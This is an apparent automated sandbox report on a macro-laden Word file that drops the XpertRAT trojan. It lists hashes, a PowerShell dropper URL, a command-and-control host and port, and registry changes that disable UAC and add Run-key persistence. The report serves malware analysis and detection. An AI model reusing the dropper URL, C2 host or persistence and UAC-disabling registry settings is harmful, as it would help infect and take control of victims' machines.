xpertrat | 39c889d91c4bc0fe97e2c565d3a0e103372ba15f988872d049b9277473a87e24

Analysis

max time kernel
149s
max time network
153s
platform
windows7_x64
resource
win7-en-20210920
submitted
30-09-2021 16:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Payment_Swift 20210930.doc
Size

271KB
MD5

28baa3fb9c80b7604bbc81962e5414b3
SHA1

6b61e6dc6eeeab42d9665659e3bc353bb913716d
SHA256

39c889d91c4bc0fe97e2c565d3a0e103372ba15f988872d049b9277473a87e24
SHA512

cb6cbe0e8be6e36dabd18613857f34b1b30871667fa594151d367c789765c277ed23fc882c4f11dca3ffdeae82aa71dad395a0210003643e7f796dc16db3d2a1

Score

10^/10

xpertrat test evasion persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

httP://avira.ydns.eu/EXCEL.exe

Extracted

Family

xpertrat

Version

3.0.10

Botnet

Test

kapasky-antivirus.firewall-gateway.net:4000

Mutex

L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	340	1740	powershell.exe	WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1368	1740	powershell.exe	WINWORD.EXE

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
XpertRAT
XpertRAT is a remote access trojan with various capabilities.
rat xpertrat

XpertRAT Core Payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1684-116-0x0000000000400000-0x0000000000443000-memory.dmp	xpertrat
behavioral1/memory/1836-123-0x0000000000401364-mapping.dmp	xpertrat

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

iexplore.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe"	iexplore.exe

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 340 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

EXCEL.exeEXCEL.exeEXCEL.exeEXCEL.exeEXCEL.exeEXCEL.exe

pid process

1496 EXCEL.exe
1056 EXCEL.exe
1716 EXCEL.exe
856 EXCEL.exe
1696 EXCEL.exe
1328 EXCEL.exe
Loads dropped DLL 6 IoCs

Processes:

powershell.exepowershell.exeEXCEL.exeEXCEL.exe

pid process

340 powershell.exe
1368 powershell.exe
1496 EXCEL.exe
1496 EXCEL.exe
1056 EXCEL.exe
1496 EXCEL.exe

flow	pid	process
7	340	powershell.exe

pid	process
1496	EXCEL.exe
1056	EXCEL.exe
1716	EXCEL.exe
856	EXCEL.exe
1696	EXCEL.exe
1328	EXCEL.exe

pid	process
340	powershell.exe
1368	powershell.exe
1496	EXCEL.exe
1496	EXCEL.exe
1056	EXCEL.exe
1496	EXCEL.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

EXCEL.exeEXCEL.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UACDisableNotify = "0"	EXCEL.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UACDisableNotify = "0"	EXCEL.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

iexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe"	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe"	iexplore.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

EXCEL.exeEXCEL.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EXCEL.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EXCEL.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

EXCEL.exeEXCEL.exeEXCEL.exeEXCEL.exe

description	pid	process	target process
PID 1056 set thread context of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1496 set thread context of 1328	1496	EXCEL.exe	EXCEL.exe
PID 1696 set thread context of 1684	1696	EXCEL.exe	iexplore.exe
PID 1328 set thread context of 596	1328	EXCEL.exe	iexplore.exe
PID 1696 set thread context of 828	1696	EXCEL.exe	iexplore.exe
PID 1328 set thread context of 1836	1328	EXCEL.exe	iexplore.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1740 WINWORD.EXE

pid	process
1740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 33 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeEXCEL.exeEXCEL.exeEXCEL.exeEXCEL.exe

pid	process
1368	powershell.exe
340	powershell.exe
340	powershell.exe
340	powershell.exe
1368	powershell.exe
1368	powershell.exe
1492	powershell.exe
1752	powershell.exe
1548	powershell.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1056	EXCEL.exe
1056	EXCEL.exe
1496	EXCEL.exe
1496	EXCEL.exe
1696	EXCEL.exe
1696	EXCEL.exe
1328	EXCEL.exe
1328	EXCEL.exe
1696	EXCEL.exe
1696	EXCEL.exe
1328	EXCEL.exe
1328	EXCEL.exe
1696	EXCEL.exe
1696	EXCEL.exe
1328	EXCEL.exe
1328	EXCEL.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

powershell.exepowershell.exeEXCEL.exeEXCEL.exepowershell.exepowershell.exepowershell.exeiexplore.exe

description	pid	process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: SeDebugPrivilege	1496	EXCEL.exe
Token: SeDebugPrivilege	1056	EXCEL.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1836	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXEEXCEL.exeEXCEL.exeiexplore.exe

pid process

1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1740 WINWORD.EXE
1696 EXCEL.exe
1328 EXCEL.exe
1836 iexplore.exe

pid	process
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1696	EXCEL.exe
1328	EXCEL.exe
1836	iexplore.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WINWORD.EXEpowershell.exepowershell.exeEXCEL.exeEXCEL.exe

description	pid	process	target process
PID 1740 wrote to memory of 340	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 340	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 340	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 340	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 1368	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 1368	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 1368	1740	WINWORD.EXE	powershell.exe
PID 1740 wrote to memory of 1368	1740	WINWORD.EXE	powershell.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 340 wrote to memory of 1496	340	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1368 wrote to memory of 1056	1368	powershell.exe	EXCEL.exe
PID 1496 wrote to memory of 1492	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1492	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1492	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1492	1496	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1352	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1352	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1352	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1352	1056	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1752	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1752	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1752	1496	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 1752	1496	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1548	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1548	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1548	1056	EXCEL.exe	powershell.exe
PID 1056 wrote to memory of 1548	1056	EXCEL.exe	powershell.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 856	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1716	1496	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
